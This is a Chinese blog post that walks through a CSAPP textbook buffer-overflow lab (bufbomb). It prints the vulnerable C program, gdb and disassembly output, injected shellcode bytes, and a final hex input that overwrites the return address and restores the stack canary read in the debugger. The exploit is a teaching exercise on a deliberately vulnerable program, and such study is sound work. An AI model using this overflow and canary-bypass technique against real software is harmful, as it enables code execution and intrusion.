Chinaunix首页 | 论坛 | 博客
  • 博客访问: 118385
  • 博文数量: 24
  • 博客积分: 1411
  • 博客等级: 上尉
  • 技术积分: 261
  • 用 户 组: 普通用户
  • 注册时间: 2009-08-07 17:49
文章分类

全部博文(24)

文章存档

2009年(24)

我的朋友

分类:

2009-08-12 18:52:48

CSAPP网页上给了bufbomob.c, 要求找出一个输入字符串,使得getbuf()返回0xdeadbeef,

/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored. Stops when encounters newline */

char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF && c != '\n') {
    if (isxdigit(c)) {
      int val;
      if ('0' <= c && c <= '9')
    val = c - '0';
      else if ('A' <= c && c <= 'F')
    val = c - 'A' + 10;
      else
    val = c - 'a' + 10;
      if (even) {
    otherd = val;
    even = 0;
      } else {
    *sp++ = otherd * 16 + val;
    even = 1;
      }
    }
  }
  *sp++ = '\0';
  return dest;
}

/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);  
    return 1;
}

void test()
{
  int val;
  printf("Type Hex string:");
  val = getbuf();
  printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */

  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;
}


getbuf()里的buf作为参数传给getxs(),getxs可以无限制的写入buf位置以上的栈,所以可以改写getbuf的返回地址.所以可以在buf里写入我们自己的指令,再将getbuf返回地址指向这些指令.

写入buf的指令要做到:
1. 将 0xdeadbeef mov进%eax  ( getbuf()返回值存在%eax里 )
2. 回到原来的程序流程

第一条明显是 mov  $0xdeadbeef,%eax ,关键是如何将程序回到原来的流程.先看看原来的返回地址再说.

getbuf的返回地址存在%ebp+4的位置,在getbuf设断点

(gdb) b getbuf

单步执行进getbuf函数中 查看%ebp, %ebp处存的帧指针是不能变的,必须原样写回

(gdb) x/4b $ebp
0xbfb68fb8:    0xd8    0x8f    0xb6    0xbf

再查看%ebp+4存着的返回地址

(gdb) x/w ($ebp+4)
0xbfb68fbc:    0x080485ef

这就是test调用getbuf返回后的下一个指令,可以查看一下

(gdb) disas 0x080485ef
Dump of assembler code for function test:
0x080485d0 :    push   %ebp
0x080485d1 :    mov    %esp,%ebp
0x080485d3 :    sub    $0x18,%esp
0x080485d6 :    movl   $0x8048730,0x4(%esp)
0x080485de :    movl   $0x1,(%esp)
0x080485e5 :    call   0x80483e8 <__printf_chk@plt>
0x080485ea :    call   0x8048590
0x080485ef :    movl   $0x8048741,0x4(%esp)
0x080485f7 :    movl   $0x1,(%esp)
0x080485fe :    mov    %eax,0x8(%esp)
0x08048602 :    call   0x80483e8 <__printf_chk@plt>
0x08048607 :    leave 
0x08048608 :    ret   
End of assembler dump.

关键是怎么样回到这里,开始想到的办法是用jmp指令.写一个汇编函数bftry.s,只包含下面三句

mov $0xdeadbeef, %eax
mov $0x0804856f, %edx
jmp *%edx

再 gcc -O -c bftry.s ,然后 objdump -d bftry.o

00000000 <.text>:
   0:    b8 ef be ad de     mov $0xdeadbeef,%eax
   5:    ba 6f 85 04 08     mov $0x804856f,%edx
   a:    ff e2              jmp *%edx


后来看到更直接的办法,回想ret指令其实就是 pop %eip, 

所以先 push 0x080485ef, 
再     mov $0xdeadbeef %eax
最后   ret    
                 
这样就能回到原来的返回地址

同样写一个函数包含上面3句,编译,再反汇编,得到如下指令

    68 ef 85 04 08     push $0x80485ef
    b8 ef be ad de     mov $0xdeadbeef,%eax
    c3     ret 
    90     nop


哪里该写什么知道了,其他"无所谓的"位置写0就行了吧? 但是写入后发现还是不行. 看一下getbuf的汇编代码,发现这是gcc的反溢出策略


0x08048590 <getbuf+0>:    push %ebp
0x08048591 <getbuf+1>:    mov %esp,%ebp
0x08048593 <getbuf+3>:    sub $0x18,%esp
0x08048596 <getbuf+6>:    mov %gs:0x14,%eax
0x0804859c <getbuf+12>:    mov %eax,-0x4(%ebp)
0x0804859f <getbuf+15>:    xor %eax,%eax
0x080485a1 <getbuf+17>:    lea -0x10(%ebp),%eax
0x080485a4 <getbuf+20>:    mov %eax,(%esp)
0x080485a7 <getbuf+23>:    call 0x8048500 <getxs>
0x080485ac <getbuf+28>:    mov $0x1,%eax
0x080485b1 <getbuf+33>:    mov -0x4(%ebp),%edx
0x080485b4 <getbuf+36>:    xor %gs:0x14,%edx
0x080485bb <getbuf+43>:    jne 0x80485bf <getbuf+47>
0x080485bd <getbuf+45>:    leave 
0x080485be <getbuf+46>:    ret 
0x080485bf <getbuf+47>:    nop 
0x080485c0 <getbuf+48>:    call 0x8048428 <__stack_chk_fail@plt>


虽然buf只有12字节,但gcc把 %ebp-16当作buf起始位置, 先在%ebp-4写入%gs:0x14,getxs返回后再校验这四个字节,如果不一样就是发生溢出了,好聪明. 
(mingw下就没有这些防溢出代码,虽然我的mingw gcc是最新版4.4.1,linux的gcc是4.3.3版)

所以还得查看%ebp-4

(gdb) x/4b $ebp-4
0xbfb68fb4:    0x55    0x8f    0x6c    0x37

最后查看buf位置

(gdb) p /x (int)&buf[0]
$9 = 0xbfb68fa8

所以最后写入的序列是(没有空格) 
68 ef 85 04 08 b8 ef be ad de c3 90 55 8f 6c 37 d8 8f b6 bf a8 8f b6 bf

运行结果
Type Hex string:68ef850408b8efbeaddec390558f6c37d88fb6bfa88fb6bf
(gdb) c
Continuing.
getbuf returned 0xdeadbeef

Program exited normally.
阅读(2705) | 评论(0) | 转发(0) |
0

上一篇:CSAPP 习题3.36

下一篇:CSAPP习题3.39 full_umul

给主人留下些什么吧!~~